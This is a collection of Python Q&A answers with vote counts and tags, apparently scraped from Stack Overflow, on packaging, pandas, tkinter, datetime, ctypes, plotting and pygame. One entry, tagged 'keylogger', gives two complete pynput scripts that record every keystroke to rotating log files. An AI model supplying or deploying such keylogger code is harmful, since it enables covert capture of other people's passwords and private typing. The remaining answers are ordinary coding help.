[ "airflow", "list", "mongodb", "python" ]

[ "Use python3 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/*\n", "Based on @hoefling comments run\npip show twine\n\nThat will list all files that belong to the twine package. It will output something like this:\n\nName: twine\nVersion: 1.12.1\nSummary: Collection of utilities for publishing packages on PyPI\nHome-page: https://twine.readthedocs.io/\nAuthor: Donald Stufft and individual contributors\nAuthor-email: [email protected]\nLicense: Apache License, Version 2.0\nLocation: /Users/hakuna.matata/.local/lib/python3.6/site-packages\nRequires: pkginfo, readme-renderer, tqdm, requests, requests-toolbelt, setuptools\nRequired-by: \n\n\nNote the first file under Files which is ../../../bin/twine and Location: /Users/hakuna.matata/.local/lib/python3.6/site-packages. Of course your user name will replace 'hakuna.matata'\nThat will lead to a path to package executable at /Users/hakuna.matata/.local/bin which you can add it to your .bash_profile as \nexport PATH=\"/Users/hakuna.matata/.local/bin:$PATH\"\nThen, either restart terminal or\nsource ~/.bash_profile\n\n", "Run this command:\npython -m twine upload dist/*\n\n" ]

[ 27, 2, 0 ]

[]

[]

[ "pip", "pypi", "python", "twine" ]

[ "If time is positive for the parent, or null, you can use a simple groupby.transform('max'):\ndf['Time'] = df.groupby('Parent')['Time'].transform('max')\n\nElse, you can use:\ndf['Time'] = (df['Time']\n .where(df['Parent'].eq(df['Child']))\n .groupby(df['Parent']).transform('first')\n .convert_dtypes()\n)\n\nOutput:\n Parent Child Time\n0 a123 a123 51\n1 a123 a1231 51\n2 a123 a1232 51\n3 a123 a1233 51\n4 a234 a2341 39\n5 a234 a234 39\n6 a234 a2342 39\n7 a234 a2343 39\n\n" ]

[ -1 ]

[]

[]

[ "dataframe", "pandas", "python" ]

[ "The most important problem is that you did not reset the timer. After f.close(), end_time should be transferred into start_time.\nAlso, since you call write() for every event, there is no reason to accumulate into keys[].\nAlso, you never empty keys[].\n", "I executed your program and found 2 problems.\nThe first one is about the start variable. Python use different namespaces for each program or function. Since start was defined at program level, it wasn't known in the function. Commenting out your timer logic was hiding the problem. You can fix the problem with the 'global' statement.\nThe second one is about \"with open\". If you use \"with open\" you must not close the file yourself. If you do, \"with open\" will not reopen the file.\nHere's a working version of your program.\nimport pynput\nfrom pynput.keyboard import Key, Listener\nfrom datetime import datetime, timedelta, time\nimport time\n\nstart = time.time()\n\nnow=datetime.now()\ndt=now.strftime('%d%m%Y-%H%M%S')\nkeys=[]\n\ndef on_press(key):\n keys.append(key)\n write_file(keys)\n try:\n print(key.char)\n except AttributeError:\n print(key)\n\ndef write_file(keys, f=None):\n global start\n for key in keys:\n k=str(key).replace(\"'\",\"\").replace(\"Key.space\", ' ').replace(\"Key.enter\", '\\n')\n\n if not f:\n f = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)\n f.write( k)\n\n end=time.time()\n tot_time=end-start\n if tot_time>5.0:\n f.close()\n f = None\n start=end\n else:\n continue\n keys = []\n\nwith Listener(on_press=on_press) as listener:\n listener.join()\n\nA nicer solution would be move the open/close logic outside the write_file() function.\n", "You may have to customize the first line.\nschedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)\n\nimport pynput\nfrom pynput.keyboard import Listener\n\ndef on_press(key):\n txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')\n \n # do some conversions and concatenate to line\n if txt == '<space>': txt = ' '\n if txt == None: txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia\n glo.line += txt\n\n if (len(glo.line) > 50) or (txt=='<enter>'):\n writeFile( glo.fh, glo.line+'\\n')\n glo.line = ''\n \ndef writeFile( fh, txt):\n fh.write( txt)\n\ndef openFile():\n from datetime import datetime\n dt=datetime.now().strftime('%d%m%Y-%H%M%S')\n fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)\n return fh\n\ndef closeFile( fh):\n fh.close()\n\ndef closeAndReOpen( fh, line):\n if len( line) > 0:\n writeFile( fh, line+'\\n')\n closeFile( fh)\n fh = openFile()\n return fh\n \nclass Ticker():\n def __init__( self, sched=None, func=None, parm=None):\n # 2 modes: if func is supplied, tick() will not return. Everything will be internal.\n # if func is not supplied, it's non-blocking. The callback and sleep must be external.\n self.target = None\n self.sched = sched\n self.func = func\n self.parm = parm\n \n def selectTarget( self):\n for tim in self.sched: # select next target time (they are in ascending order)\n if tim > self.actual:\n self.target = tim\n break\n else: self.target = self.sched[0]\n self.today = (self.actual < self.target) # True if target is today.\n\n def tick( self):\n from datetime import datetime\n while True:\n self.actual = datetime.now().strftime( \"%H:%M:%S\")\n if not self.target: self.selectTarget()\n if self.actual < self.target: self.today = True\n act = (self.actual >= self.target) and self.today # True if target reached\n if act: self.target = '' # next tick will select a new target\n if not self.func: break # Non-blocking mode: upper level will sleep and call func\n # The following statements are only executed in blocking mode\n if act: self.func( self.parm)\n time.sleep(1)\n \n return act # will return only if func is not defined\n \nclass Glo:\n pass\n\nglo = Glo()\nglo.fh = None\nglo.line = ''\nglo.fini = False\n\nglo.fh = openFile()\nlistener = Listener( on_press=on_press)\nlistener.start()\nticker = Ticker( sched=schedule) # start ticker in non-blocking mode.\n\nwhile not glo.fini:\n import time\n time.sleep(1)\n if ticker.tick():\n # time to close and reopen\n glo.fh = closeAndReOpen( glo.fh, glo.line)\n glo.line = ''\n\nlistener.stop()\nwriteFile( glo.fh, glo.line+'\\n')\ncloseFile( glo.fh)\nexit()\n\nIf you're satisfied, you may mark the answer as \"ACCEPTed\".\n" ]

[ 1, 0, 0 ]

[]

[]

[ "keylogger", "python" ]

[ "You can make your own from this csv template:\n\nSickness, Symptom1, Symptom2, Symptom4\nCovid-19, Cough, Loss of taste, Fever, Chills\nCommon Cold, Sneezing, Cough, Runny Nose, Headache\n\nignore bullet points, just for formatting. then use pandas read csv to read the data. if u need more help @mention me\n", "I see that you are having trouble finding a dataset. I made a quick search, and i found this one in kaggle. It would require preprocessing, since many of the symptoms are nulls in the columns. Maybe you could make it so each column is a specific sympton, with values 1 (or 0) if the symptom is (or isn't) present. This would have the problem that the number of 0s would be very high. You can try that and see if it works.\nYou can also see another implementation with Random Forest in this link, with very different preprocessing. It is an advanced model of Decision Tree. However, the Decision Tree is more interpretable, if that is what you need.\n" ]

[ 0, 0 ]

[]

[]

[ "data_science", "dataset", "machine_learning", "python", "scikit_learn" ]

[ "You should also manage the geometry of your MainFrame inside the App, for example by packing it:\nimport tkinter as tk\nfrom tkinter import ttk\n\nclass App(tk.Tk):\n def __init__(self):\n super().__init__()\n self.title(\"App\")\n self.geometry(\"800x600\")\n\n main_frame = MainFrame(self)\n main_frame.pack(fill='both', expand=True) # PACKING FRAME\n main_frame.tkraise()\n\n\nclass MainFrame(ttk.Frame):\n def __init__(self, container):\n super().__init__(container)\n s = ttk.Style()\n s.configure(\"top_frame.TFrame\", background=\"red\")\n self.my_frame = ttk.Frame(self, style=\"top_frame.TFrame\")\n self.my_frame.pack(fill=\"both\", expand=True)\n\nif __name__ == \"__main__\":\n app = App()\n app.mainloop()\n\n" ]

[ 1 ]

[]

[]

[ "python", "tkinter", "user_interface" ]

[ "You should set use_dictionary to False:\nimport pandas as pd\ndf = pd.read_csv(\"filename.csv\")\ndf.to_parquet(\"filename.parquet\", use_dictionary=False)\n\n" ]

[ 0 ]

[]

[]

[ "csv", "parquet", "python" ]

[ "The @property decorator adds a default getter on a given field in a Python class\nthat triggers a function call upon accessing a property.\nThe @property decorator turns the age() method into a “getter” for a read-only attribute with the same name. If want a “setter” then add @age.setter as you did in your question.\np = Person(\"John\", 22)\nprint(p.age)\n\nOutput:\n22\n\n", "The property type can take up to 4 separate arguments (a getter, a setter, a deleter, and a doc string) when instantiating it. The first argument is a function that will be used as a getter. The second is a function that will be used as a setter. You could have written your class as\nclass Person:\n def __init__(self,name, age):\n self._name = name\n self._age = age\n \n def _age_getter(self):\n return self._age\n\n def _age_setter(self, new_age):\n ...\n\n age = property(_age_getter, _age_setter)\n\nThis is cumbersome to write, so property objects have a number of methods for building the property up piece by piece. Using property as a simple decorator creates a read-only property with the decorated function as the getter.\n# Equivalent to\n# def age(self):\n# return self._age\n# age = property(age)\n@property\ndef age(self):\n return self._age\n\nage.setter is a method of the property instance which creates a new property that is essentially a copy of age, but with its argument used to replace whatever setter the original property had. (Decorator syntax is why all the methods involved have to have the same name, so that we are constantly replacing the original property with the new, augmented property, rather than defining multiple similar properties with different names instead.)\[email protected]\ndef age(self, new_age):\n ...\n\nDesugaring this requires the use of a temporary variable, to avoid losing the old value of age prematurely.\nold_property = age\ndef age(self, new_age):\n ...\nage = old_property.setter(age)\n\nA silly, but legal, way of defining the property takes advantage of the fact that property can be defined with no arguments, and that there is a getter method that can be used as a decorator as well. (I don't think I've ever seen it used in the wild, though.)\nclass Person:\n def __init__(self, name, age):\n ...\n\n age = property()\n\n @age.getter\n def age(self):\n ...\n\n @age.setter\n def age(self, new_age):\n ...\n\nNote that the order in which we use getter, setter, (and deleter) methods doesn't matter. The conventional order comes from the order in which property expects its positional arguments to be supplied, as well as the fact that new properties are virtually always defined by decorating the getter directly, rather than adding a getter to a property after it is created.\n" ]

[ 2, 1 ]

[]

[]

[ "getter", "properties", "python", "python_decorators" ]

[ "What network are you seeing this issue on? We can add in a method to manually overwrite gas limits in the SDK.\n" ]

[ 1 ]

[]

[]

[ "price", "python", "sdk", "thirdweb" ]

[ "For Python 2 code, use datetime.utcnow():\nfrom datetime import datetime\ndatetime.utcnow()\n\nFor Python 3, use datetime.now(timezone.utc) (the 2.x solution will technically work, but has a giant warning in the 3.x docs):\nfrom datetime import datetime, timezone\ndatetime.now(timezone.utc)\n\nFor your purposes when you need to calculate an amount of time spent between two dates all that you need is to subtract end and start dates. The results of such subtraction is a timedelta object.\nFrom the python docs:\nclass datetime.timedelta([days[, seconds[, microseconds[, milliseconds[, minutes[, hours[, weeks]]]]]]])\n\nAnd this means that by default you can get any of the fields mentioned in it's definition -\ndays, seconds, microseconds, milliseconds, minutes, hours, weeks. Also timedelta instance has total_seconds() method that:\n\nReturn the total number of seconds contained in the duration.\nEquivalent to (td.microseconds + (td.seconds + td.days * 24 * 3600) *\n106) / 106 computed with true division enabled.\n\n", "Timezone-aware datetime object, unlike datetime.utcnow():\nfrom datetime import datetime,timezone\nnow_utc = datetime.now(timezone.utc)\n\n\nTimestamp in milliseconds since Unix epoch:\ndatetime.now(timezone.utc).timestamp() * 1000\n\n", "In the form closest to your original:\nimport datetime\n\ndef UtcNow():\n now = datetime.datetime.utcnow()\n return now\n\nIf you need to know the number of seconds from 1970-01-01 rather than a native Python datetime, use this instead:\nreturn (now - datetime.datetime(1970, 1, 1)).total_seconds()\n\nPython has naming conventions that are at odds with what you might be used to in Javascript, see PEP 8. Also, a function that simply returns the result of another function is rather silly; if it's just a matter of making it more accessible, you can create another name for a function by simply assigning it. The first example above could be replaced with:\nutc_now = datetime.datetime.utcnow\n\n", "import datetime\nimport pytz\n\n# datetime object with timezone awareness:\ndatetime.datetime.now(tz=pytz.utc)\n\n# seconds from epoch:\ndatetime.datetime.now(tz=pytz.utc).timestamp() \n\n# ms from epoch:\nint(datetime.datetime.now(tz=pytz.utc).timestamp() * 1000) \n\n", "Timezone aware with zero external dependencies:\nfrom datetime import datetime, timezone\n\ndef utc_now():\n return datetime.utcnow().replace(tzinfo=timezone.utc)\n\n", "From datetime.datetime you already can export to timestamps with method strftime. Following your function example:\nimport datetime\ndef UtcNow():\n now = datetime.datetime.utcnow()\n return int(now.strftime(\"%s\"))\n\nIf you want microseconds, you need to change the export string and cast to float like: return float(now.strftime(\"%s.%f\")) \n", "you could use datetime library to get UTC time even local time.\nimport datetime\n\nutc_time = datetime.datetime.utcnow() \nprint(utc_time.strftime('%Y%m%d %H%M%S'))\n\n", "why all reply based on datetime and not time?\ni think is the easy way !\nimport time\nnowgmt = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.gmtime())\nprint(nowgmt)\n\n" ]

[ 279, 169, 47, 22, 15, 10, 6, 4 ]

[ "To be correct, UTC format needs at least the T letter:\n>>> a=(datetime.datetime.now(timezone.utc))\n>>> a.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n'2022-11-28T16:42:17Z'\n\n" ]

[ -2 ]

[ "datetime", "python" ]

[ "'Authentication credentials were not provided.' should be 401, and, 403 means you don't have the permission, maybe you should talk to the api provider.\n" ]

[ 0 ]

[]

[]

[ "api", "python", "python_requests" ]

[ "Specify restypes as [POINTER][1](c_float):\nimport ctypes\n\nlibfoo = ctypes.cdll.LoadLibrary('./foo.so')\nfoo = libfoo.foo\nfoo.argtypes = ()\nfoo.restype = ctypes.POINTER(ctypes.c_float)\nresult = foo()\nprint(result[0], result[1])\n\n", "Thanks to @falsetru, believe I found a somehow better solution, which takes into account the fact that the C function returns a pointer to two floats:\nimport ctypes\n\nlibfoo = ctypes.cdll.LoadLibrary('./foo.so')\nfoo = libfoo.foo\nfoo.argtypes = ()\nfoo.restype = ctypes.POINTER(ctypes.c_float * 2)\nresult = foo().contents\n\nprint('length of the returned list: ' + len(result))\nprint(result[0], result[1])\n\n" ]

[ 11, 0 ]

[]

[]

[ "c", "ctypes", "python" ]

[ "You plot categorical values (the x values are strings), the x positions of the (center of the) bar groups and the error bars the way you plotted them are range(n) where n is the number of parameters. These x positions can also be retrieved by ax.xaxis.get_majorticklocs().\nTo put the error bars in the middle of the bar you need to consider the offset of each bar relative to the center of the bar group. This offset depends on the bar width (default is 0.8) and the number of bars per group. For a generic solution you'll to differentiate between odd and even numbers of bars per group.\nThe following shows the case for 2 hues or bars per group (df['Sobol index'].nunique() == 2):\n# Plot\nwidth = 0.8\ngrid = sns.catplot(data=df, x=\"Parameter\", y=\"Value\", col=\"Output\", col_wrap=2, hue=\"Sobol index\", kind=\"bar\", aspect=1.8, legend_out=False, width=width)\n\n# Add error lines and values\nfor ax, var in zip(grid.axes.ravel(), [\"P\", \"D\", \"I\", \"N\"]):\n # Error bars\n ticklocs = ax.xaxis.get_majorticklocs()\n offset = 0.5 * width / 2 # 2 = number of hues or bars per group\n ax.errorbar(x=np.append(ticklocs - offset, ticklocs + offset), y=df[df[\"Output\"] == var][\"Value\"],\n yerr=err_df[err_df[\"Output\"] == var][\"value\"], ecolor='black', linewidth=0, capsize=2, elinewidth=1)\n\n # Value labels \n for c in ax.containers:\n if type(c) == matplotlib.container.BarContainer:\n ax.bar_label(c, labels=[f'{v.get_height():.2f}' if v.get_height() >= 0.01 else \"<0.01\" for v in c], label_type='edge')\n\ngrid.tight_layout()\n\n\n" ]

[ 2 ]

[]

[]

[ "bar_chart", "matplotlib", "python", "seaborn" ]

[ "It appears that \"test\" is a built-in function for a Query object.\nChanging test to name or anything else will fix issue.\nfrom tinydb import TinyDB, Query\ndb = TinyDB('db.json')\nUser = Query()\ndb.insert({'name': 'signs', 'age': 34})\nres = db.search(User.name == \"signs\")\nprint(f\"the search: {res}\")\nprint(f\"User.test: {User.test}\")\n\nOutput\nthe search: [{'name': 'signs', 'age': 34}]\nUser.test: <bound method Query.test of Query()>\n\nYou can also see 'test' listed as an attribute of a Query object buy running dir() on the object you create\n>>> from tinydb import TinyDB, Query\n>>> User = Query()\n>>> dir(User)\n['__and__', '__call__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattr__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__invert__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__or__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_generate_test', '_hash', '_path', '_test', 'all', 'any', 'exists', 'fragment', 'is_cacheable', 'map', 'matches', 'noop', 'one_of', 'search', 'test']\n\n" ]

[ 0 ]

[]

[]

[ "database", "python" ]

[ "The solution was to use importlib.resources in predict.py:\ntry:\n import importlib.resources as pkg_resources\nexcept ImportError:\n # Try backported to PY<37 `importlib_resources`.\n import importlib_resources as pkg_resources\nfrom my_package import saved_models\n\nand instead of:\nnet.load_model('saved_models/november_model')\n\nI used:\nf = pkg_resources.open_text(saved_models, 'november_model')\nnet.load_model(f.name)\n\n" ]

[ 1 ]

[]

[]

[ "pypi", "python" ]

[ "Im also doing the course and got absolutely trainwrecked on the header not being recognized.\nAfter 2 hours of trying every possible solution to make the header reach the API I recognized that I forgot to format date_to in the correct string format.\nSo despite the API is giving me header not found the issue was with one of my parameters.\nSo just give it another go and check your code character by character against the API documentation and I am sure you will find a tiny bit that has a typo or wrong format and your request will eventually go through.\n" ]

[ 0 ]

[ "class FlightSearch:\n def __init__(self):\n self.code = {}\n\n def get_destination_code(self, city_name):\n location_endpoint = f\"{TEQUILA_ENDPOINT}/locations/query\"\n headers = {\"apikey\": TEQUILA_API_KEY}\n query = {\"term\": city_name, \"location_types\": \"city\"}\n response = requests.get(url=location_endpoint, headers=headers, params=query)\n results = response.json()[\"locations\"]\n code = results[0][\"code\"]\n return code\n\nI think this code missed an __init__ under the FlightSearch class. After adding this line, it worked.\n" ]

[ -1 ]

[ "api", "python" ]

[ "The \"a-price-whole\" class in inside the tags so BS4 is not able to find it. This solution worked for me, I just changed your \"find\" to a \"find_all\" and made it scan through all of the spans until you find the class you are searching for then used the iterator.get_text() to print the price. Hope this helps!\n\n\nsoup = BeautifulSoup(response.content, features=\"lxml\")\n\nprice = soup.find_all(\"span\")\nfor i in price:\n try:\n if i['class'] == ['a-price-whole']:\n itemPrice = f\"${str(i.get_text())[:-1]}\"\n break\n except KeyError:\n continue\n\nprint(itemPrice)\n\n\n\n" ]

[ 0 ]

[]

[]

[ "amazon", "bots", "python", "tracker", "web_scraping" ]

[ "super() delegates attribute access to the next class in MRO. In this case, object is an implicit parent class. Instances of object class do not contain the __dict__ attribute:\nobject().__dict__ # raises AttributeError\n\nHowever, instances of empty classes do contain the __dict__ attribute, so if A inherits from an empty base class, no error is raised:\nclass Foo:\n pass\n\n\nclass A(Foo):\n def f(self):\n print(super().__dict__)\n\nA().f() # prints '{}'\n\n" ]

[ 0 ]

[ "I think attribute error comes many times with no reason , it happened with me so many times ....\nThe Only solution is that this method is no longer usable try to go though docs or use another one .\n" ]

[ -3 ]

[ "magic_methods", "python", "python_descriptors" ]

[ "You need to implement the colisionC and colisionL methods in Linea and Circulo. See Problem with calculating line intersections for the line-line intersection algorithm. When checking for collisions between lines and circles, in addition to checking for collisions between circles and endless lines, you must also consider the beginning and end of the line segment:\nclass Linea:\n # [...]\n\n def colisionC(self, c2):\n return c2.colisionL(self)\n \n def colisionL(self, l1):\n return Linea.intersect_line_line((self.x, self.y), (self.a, self.b), (l1.x, l1.y), (l1.a, l1.b))\n \n def intersect_line_line(P0, P1, Q0, Q1): \n d = (P1[0]-P0[0]) * (Q1[1]-Q0[1]) + (P1[1]-P0[1]) * (Q0[0]-Q1[0]) \n if d == 0:\n return None\n t = ((Q0[0]-P0[0]) * (Q1[1]-Q0[1]) + (Q0[1]-P0[1]) * (Q0[0]-Q1[0])) / d\n u = ((Q0[0]-P0[0]) * (P1[1]-P0[1]) + (Q0[1]-P0[1]) * (P0[0]-P1[0])) / d\n if 0 <= t <= 1 and 0 <= u <= 1:\n return P1[0] * t + P0[0] * (1-t), P1[1] * t + P0[1] * (1-t)\n return None\n\nclass Circulo\n # [...]\n\n def colisionC(self, c2):\n return self.radio + c2.radio > sqrt(pow(self.cx - c2.cx, 2) + pow(self.cy - c2.cy, 2))\n \n def colisionL(self, L2):\n l0 = [L2.x, L2.y]\n l1 = [L2.a, L2.b]\n cp = [self.cx, self.cy]\n x1 = l0[0] - cp[0]\n y1 = l0[1] - cp[1]\n x2 = l1[0] - cp[0]\n y2 = l1[1] - cp[1]\n if sqrt(x1*x1+y1*y1) < self.radio or sqrt(x2*x2+y2*y2) < self.radio:\n return True\n\n dx = x2 - x1\n dy = y2 - y1\n dr = sqrt(dx*dx + dy*dy)\n D = x1 * y2 - x2 * y1\n discriminant = self.radio*self.radio*dr*dr - D*D\n if discriminant < 0:\n return False\n \n sign = lambda x: -1 if x < 0 else 1\n xa = (D * dy + sign(dy) * dx * sqrt(discriminant)) / (dr * dr)\n xb = (D * dy - sign(dy) * dx * sqrt(discriminant)) / (dr * dr)\n ya = (-D * dx + abs(dy) * sqrt(discriminant)) / (dr * dr)\n yb = (-D * dx - abs(dy) * sqrt(discriminant)) / (dr * dr)\n ta = (xa-x1)*dx/dr + (ya-y1)*dy/dr\n tb = (xb-x1)*dx/dr + (yb-y1)*dy/dr\n return 0 < ta < dr or 0 < tb < dr\n\nPut all objects into one container. Before you add a new Linea you have to check if the new \"Line\" intersects another object with \"ColisionL\". Before you add a new Circulo, you must check if the new \"Line\" intersects another object with CollisionC:\nclass CreaObjects:\n def __init__(self, figs):\n self.figs = figs\n self.no_lines = 0\n self.no_circles = 0\n \n def update(self):\n if self.no_circles <70:\n r = randint(5, 104)\n creOne = Circulo(randint(0, 600 - 2*r), randint(0, 400 - 2*r), r)\n if not any(fig.colisionC(creOne) for fig in self.figs):\n self.figs.append(creOne)\n self.no_circles += 1\n \n if self.no_lines <70:\n linOne = Linea(randint(0, 700), randint(0, 500), randint(0, 700), randint(0, 500))\n if not any(fig.colisionL(linOne) for fig in self.figs):\n self.figs.append(linOne)\n self.no_lines += 1 \n\n\nComplete example:\n\nimport pygame as pg\nfrom random import randint\nfrom math import sqrt, hypot\n\nclass Linea:\n def __init__(self, x, y, a, b):\n self.x = x\n self.y = y\n self.a = a\n self.b = b\n\n def dibujar(self, ventana):\n pg.draw.line(ventana, \"#7B0000\", (self.x, self.y), (self.a, self.b))\n\n def update(self):\n pass\n\n def colisionC(self, c2):\n return c2.colisionL(self)\n \n def colisionL(self, l1):\n return Linea.intersect_line_line((self.x, self.y), (self.a, self.b), (l1.x, l1.y), (l1.a, l1.b))\n \n def intersect_line_line(P0, P1, Q0, Q1): \n d = (P1[0]-P0[0]) * (Q1[1]-Q0[1]) + (P1[1]-P0[1]) * (Q0[0]-Q1[0]) \n if d == 0:\n return None\n t = ((Q0[0]-P0[0]) * (Q1[1]-Q0[1]) + (Q0[1]-P0[1]) * (Q0[0]-Q1[0])) / d\n u = ((Q0[0]-P0[0]) * (P1[1]-P0[1]) + (Q0[1]-P0[1]) * (P0[0]-P1[0])) / d\n if 0 <= t <= 1 and 0 <= u <= 1:\n return P1[0] * t + P0[0] * (1-t), P1[1] * t + P0[1] * (1-t)\n return None\n\nclass Circulo:\n def __init__(self, x, y, r):\n self.x = x\n self.y = y\n self.radio = r\n self.cx = x+r\n self.cy = y+r\n\n def __str__(self):\n return f\"Circulo, (X: {self.x}, Y: {self.y}), radio: {self.radio}\"\n\n def dibujar(self, ventana):\n pg.draw.circle(ventana, \"white\", (self.cx, self.cy), self.radio, 1)\n pg.draw.line(ventana, \"white\", (self.cx+2, self.cy+2),(self.cx-2, self.cy-2))\n pg.draw.line(ventana, \"white\", (self.cx-2, self.cy+2),(self.cx+2, self.cy-2))\n\n def update(self):\n pass\n\n def colisionC(self, c2):\n return self.radio + c2.radio > sqrt(pow(self.cx - c2.cx, 2) + pow(self.cy - c2.cy, 2))\n \n def colisionL(self, L2):\n l0 = [L2.x, L2.y]\n l1 = [L2.a, L2.b]\n cp = [self.cx, self.cy]\n x1 = l0[0] - cp[0]\n y1 = l0[1] - cp[1]\n x2 = l1[0] - cp[0]\n y2 = l1[1] - cp[1]\n if sqrt(x1*x1+y1*y1) < self.radio or sqrt(x2*x2+y2*y2) < self.radio:\n return True\n\n dx = x2 - x1\n dy = y2 - y1\n dr = sqrt(dx*dx + dy*dy)\n D = x1 * y2 - x2 * y1\n discriminant = self.radio*self.radio*dr*dr - D*D\n if discriminant < 0:\n return False\n \n sign = lambda x: -1 if x < 0 else 1\n xa = (D * dy + sign(dy) * dx * sqrt(discriminant)) / (dr * dr)\n xb = (D * dy - sign(dy) * dx * sqrt(discriminant)) / (dr * dr)\n ya = (-D * dx + abs(dy) * sqrt(discriminant)) / (dr * dr)\n yb = (-D * dx - abs(dy) * sqrt(discriminant)) / (dr * dr)\n ta = (xa-x1)*dx/dr + (ya-y1)*dy/dr\n tb = (xb-x1)*dx/dr + (yb-y1)*dy/dr\n return 0 < ta < dr or 0 < tb < dr\n\nclass CreaObjects:\n def __init__(self, figs):\n self.figs = figs\n self.no_lines = 0\n self.no_circles = 0\n \n def update(self):\n if self.no_circles <70:\n r = randint(5, 104)\n creOne = Circulo(randint(0, 600 - 2*r), randint(0, 400 - 2*r), r)\n if not any(fig.colisionC(creOne) for fig in self.figs):\n self.figs.append(creOne)\n self.no_circles += 1\n \n if self.no_lines <70:\n linOne = Linea(randint(0, 700), randint(0, 500), randint(0, 700), randint(0, 500))\n if not any(fig.colisionL(linOne) for fig in self.figs):\n self.figs.append(linOne)\n self.no_lines += 1 \n\nclass Ventana:\n def __init__(self, Ven_Tam= (700, 500)):\n \n pg.init()\n self.ven_tam = Ven_Tam\n\n self.ven = pg.display.set_caption(\"Linea\")\n self.ven = pg.display.set_mode(self.ven_tam)\n self.figs = []\n self.reloj = pg.time.Clock()\n \n def check_events(self):\n for event in pg.event.get():\n if event.type == pg.QUIT or (event.type == pg.KEYDOWN and event.key == pg.K_ESCAPE):\n quit()\n\n def run(self):\n cirCreater = CreaObjects(self.figs)\n while True:\n self.check_events()\n cirCreater.update()\n \n self.ven.fill(pg.Color('#404040'))\n for fig in self.figs:\n fig.dibujar(self.ven)\n pg.display.flip()\n self.reloj.tick(60)\n \nif __name__ == '__main__':\n ven = Ventana()\n ven.run()\n\n" ]

[ 1 ]

[]

[]

[ "class", "pygame", "python" ]

[ "Sounds like an x y problem, because I don't understand how you are going to initialize those variables. If you provide more context I will update my answer.\nIf you want to have your list to contain variables or \"symbols\" on which you do algebraic operations, then the standard library doesn't have that, but you can use sympy:\nimport sympy\nfrom sympy import symbols\n\n### First we initialize some Symbol objects\n\n# this does essentially what you were doing in the question, but in one line\n# see list comprehensions* \nsymbol_names = [f'x_{i}' for i in range(NoE-1)]\n\n# then we make them become 'Symbols'\nx = symbols(symbol_names)\n\n### Next we can do stuff with them:\n\n# multiply the first two\nexpr = x[0] * x[1]\nprint(expr) # x_0*x_1\n\n# evaluate the expression `expr` with x_0=3, x_1=2\nres = expr.evalf(subs={'x_0':3, 'x_1':2})\nprint(res) # 6.00000\n\nEven though the sympy code above answer your question as it is, I don't think that it's the best solution to the problem you were describing.\nFor example you could just have a list called x and then you populate it with elements\nx = []\nfor i in range(NoE-1):\n x.append(\n float(input(f'insert value x_{i}'))\n )\n\nThis way x will have all the inputted elements and you can access them via x[0], x[1], and so on.\n\n* docs.python.org/3/tutorial/datastructures.html#list-comprehensions\n", "You can create you own type (class) and implement any logic you want there:\nclass Vector(int):\n def __new__(cls, name: str, number: int):\n created_object = super().__new__(cls, number)\n return created_object\n\n def __init__(self, name, number):\n self.name = name \n self.number = number\n # print(f'{name} is called with number={number}')\n \n # if ypu want to get the same type after math operation\n # you'll have to implement all magics like so\n ## otherwise comment it and you'll get the result of int type on multiplying\n def __mul__(self, other):\n return Vector(\"\".join([self.name, \"*\",other.name]), self.number * other.number)\n \n def __repr__(self):\n return f'{self.name}: {self.number}'\n\nv1 = Vector(\"v1\", 3)\nv2 = Vector(\"v2\", 4)\n\nprint(v1)\nprint(v2)\n\nprint(v1*v2)\n\n# int result as it is not implemented in class\nv3 = v1 + v2\nprint(v3)\n\n\nv = [ Vector(f\"v_{x}\", x+1) for x in range(0,2)]\n\nprint(v)\n\nt = [mv * v1 for mv in v]\n\nprint(t)\n\n" ]

[ 1, 0 ]

[]

[]

[ "arrays", "python", "variables" ]